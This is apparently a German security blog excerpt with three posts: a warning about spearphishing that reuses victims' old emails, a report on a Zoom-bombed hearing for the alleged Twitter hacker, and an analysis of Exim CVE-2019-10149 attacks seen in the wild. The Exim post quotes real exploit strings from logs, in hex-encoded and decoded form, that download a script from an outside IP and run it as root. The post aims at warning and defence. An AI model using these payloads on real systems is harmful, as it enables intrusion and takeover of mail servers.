Spearphising mit den eigenen Mails

Da ich gerade aus unserer Kundschaft die zweite Information zu so einem Vorfall bekommen habe, möchte ich Euch heute vor einer aktuellen Phishing Methode mit besonders hoher Erfolgswahrscheinlichkeit warnen.

Spearphising mit den eigenen Mails

Zwei unserer Kunden haben sich mit seltsamen Emails an uns gewendet, beide hatten DOCX Anlagen dran, aber der Inhalt war eine alte Email, die von dem vermeintlichen Absender an das Opfer früher schon einmal gesendet wurde.

Da kommen nur zwei Ursachen für in Frage: ein Hack eines Pcs oder der Hack den Mailserverkontos.

Klar, ein Hack des Mailservers an sich wäre auch möglich, aber deutlich unwahrscheinlicher als der Hack von einem Windows PC. In einem Fall konnten wir das aufklären, da sind die Angreifer an die Daten des Mailkontos und die darin befindlichen Emails gelangt. Ob der PC geknackt wurde und die Daten da abgezogen wurden, oder ob die per BruteForce den Mailserver durchgetestet haben, ist nicht bekannt. Da der Mailserver über eine Bruteforcesperre verfügt, ist der Hack des Windows PCs wahrscheinlich.

In dem aufgeklärten Fall, ist der PC/Konto des Absenders des Virus-Docxs gehackt worden. Es würde ja auch nur bedingt Sinn machen, einem bereits infiltrierten PC noch mal einen Trojaner zu schicken, oder? 🙂

Wenn Euch also demnächst DOCX Files in Emails unterkommen, die Ihr die Tage vorher schon mal ohne Virusanhang in der Post hattet, dann ruft den Absender sofort an und informiert ihn über den Vorfall, weil er/sie/es dann ein dickes Problem hat.

Gerichtsanhörung mit Twitter Hacker durch Porno gestört

Die WTF Meldungen reißen dies Jahr einfach nicht ab 😀

Gerichtsanhörung mit Twitter Hacker durch Porno gestört

Brian Krebs, der bekannte Security Journalist, berichtet auf seiner Seite von der Gerichtsverhandlung zum Twitter Hack. Der 17 jährige Graham Clark auf Tampa, Florida wird derzeit vor Gericht zu dem Twitter Hack von Mitte Juli angehört, bei dem diverse prominente Accounts Bitcoin Scams gezwitschert haben.

Die Anhörung wird wegen Corona per ZOOM Meeting durchgeführt und es kam wie kommen mußte bei den ganzen Bugs in Zoom, jemand warf die Porno-Bombe ab 😀

Perhaps fittingly, a Web-streamed court hearing for the 17-year-old alleged mastermind of the July 15 mass hack against Twitter was cut short this morning after mischief makers injected a pornographic video clip into the proceeding.

Möglich wurde das, weil es sich um eine öffentliche Anhörung handelt, bei der die Zoom Meeting-ID vorher von der Staatsanwaltschaft bekannt gegeben wurde:

Notice of the hearing was available via public records filed with the Florida state attorney’s office. The notice specified the Zoom meeting time and ID number, essentially allowing anyone to participate in the proceeding.

Möglich wurde das, weil wie bei Meet Jitsi auch, man zwar alle Teilnehmer per Default muten kann, diese sich aber jederzeit selbst wieder freischalten können. Das ist halt eine Video-Konferenz und kein Twitch Feed!

Richter und Staatsanwalt waren wenig begeistert, wie man sehen kann 🙂

Quelle und Bilder:

https://krebsonsecurity.com/2020/08/porn-clip-disrupts-virtual-court-hearing-for-alleged-twitter-hacker/

 

 

 

Hinweis: Falls die Bilder, die direkt von Brian Krebs kommen, irgendwann mal fehlen sollte, der ältere Richter schaut grimmig drein, der etwas jüngere Staatsanwalt wirkt verstört, als wenn er das noch nie gesehen hätte 😀 Was nicht überliefert ist, was für ein Porno da eigentlich lief :DD

Exim – Exploit in der Wildnis unterwegs

Vor ein paar Tagen ging ja die Exim Root-Schwachstelle durch alle IT-Portale. Wenn Ihr Euch an diesen Beitrag erinnern Exim < 4.92 mit CVE-2019-10149 mögt.Darin hatte ich u.a. auf das Problem und die Lösung hingewiesen.

Was passiert, wenn man nicht reagiert

Heute morgen erreichte die Exim-Mailingliste folgende E-Mail:

hi all,

My mail system has just been hacked; it’s running Debian unstable exim 4.91-9

Could it be CVE-2019-10149? I don’t see any reports of active exploits yet.

The reasons I suspect exim involvement:

• starting today, every 5 mins getting frozen messages:

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx: Too many „Received“ headers – suspected mail loop

• the trojan horse scripts, that were successfully installed on my system, with root access, are all group Debian-exim

Luckily, it looks like the trojans did nothing more than repeated attempts to open up my ssh server to root logins, which I think (and hope) didn’t actually work, so I may have been lucky, and the damage isn’t widespread.

ought I to be reporting this anywhere?

Darauf hin habe ich mal die Logs des Servers analysiert, für den ich den kleinen Patch geschrieben habe und seht, was ich dort fand :

2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2etuked\x20\x26\x26\x20sh\x20\x2froot\x2f\x2etuked\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ekqvuhtpi\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ekqvuhtpi\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
… und noch ein paar mehr davon …

Ja, sie es versucht, der Exploit ist folglich in der Wildnis unterwegs.

Exploit ist am Werk

Wer jetzt nicht seinen anfälligen Exim wie in Exim < 4.92 mit cve-2019-10149 beschrieben patched oder auf einen neueren Exim updated, der gehört bestraft und wie man oben sieht, wird er das auch.

Schauen wir uns mal an, was da passieren sollte:

${run{/bin/bash -c „wget –no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/.tuked && sh /root/.tuked -n“ &}

Hier wird also ein in Russland gehostedes Script per wget mit Rootrechten heruntergeladen und ausgeführt. Naja, es „sollte“ ausgeführt werden. Hat ja nicht geklappt, weil der Eximpatch das verhindert hat.

Bei dem gehackten Debianserver kam eine leicht geänderte Anweisung zum Einsatz:

${run{/bin/bash -c „wget –no-check-certificate -T 36 https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp -n“ &}}

von der selben Gruppe offensichtlich wie bei dem von mir betreuten Server, aber mit einem zufälligen Dateinamen. Ich tippe mal darauf, daß es damit Firewalls schwieriger gemacht werden soll, diese Anweisung gleich zu filtern. Als Firewallregelschreiber würde ich auf „${run“ filtern, aber ok, das ist ja nur meine Meinung :DD

-t meint übrigens retries. Da hat wohl jemand bemerkt, daß er zu viele anfällige Server gleichzeitig attackiert hat und sein Webdienst überlastet war 😀 Auch das größere Timeout mit -T 75 spricht dafür, daß das Ziel wohl schlecht zu erreichen war. Da muß man dann mal  kreativ werden 😉

Update 16:38 Uhr

So langsam kommen die Hackberichte rein. Zimbra scheint von dem EXIM CVE  betroffen zu sein:

https://forums.zimbra.org/viewtopic.php?t=65932&start=120#p290739

Nach dem ich das gelesen habe, kommt bei denen keiner auf Idee den Server durch Reinstallation zu entseuchen? Deren Crontab scheint ihnen dagegen sehr wichtig zu sein.

Update 17:00 Uhr

Die CPanel Supporter haben doch glatt für alte, gar nicht mehr maintainte Versionen ein Update rausgebracht.

Exim CVE-2019-10149, how to protect yourself

Leider ist es natürlich falsch zu behaupten, es gibt keine Gegenmaßnahmen, denn die stehen ja hier oben wirkungsvoll demonstriert zur Verfügung 🙂

Update 17:06 Uhr

Hier gibt es am Ende eine schöne Liste über die Verteilung der Exim Versionen:

Critical Exim flaw exploitable locally and remotely, patch ASAP!

Sehr aufschlussreich, hätte ich gar nicht gedacht.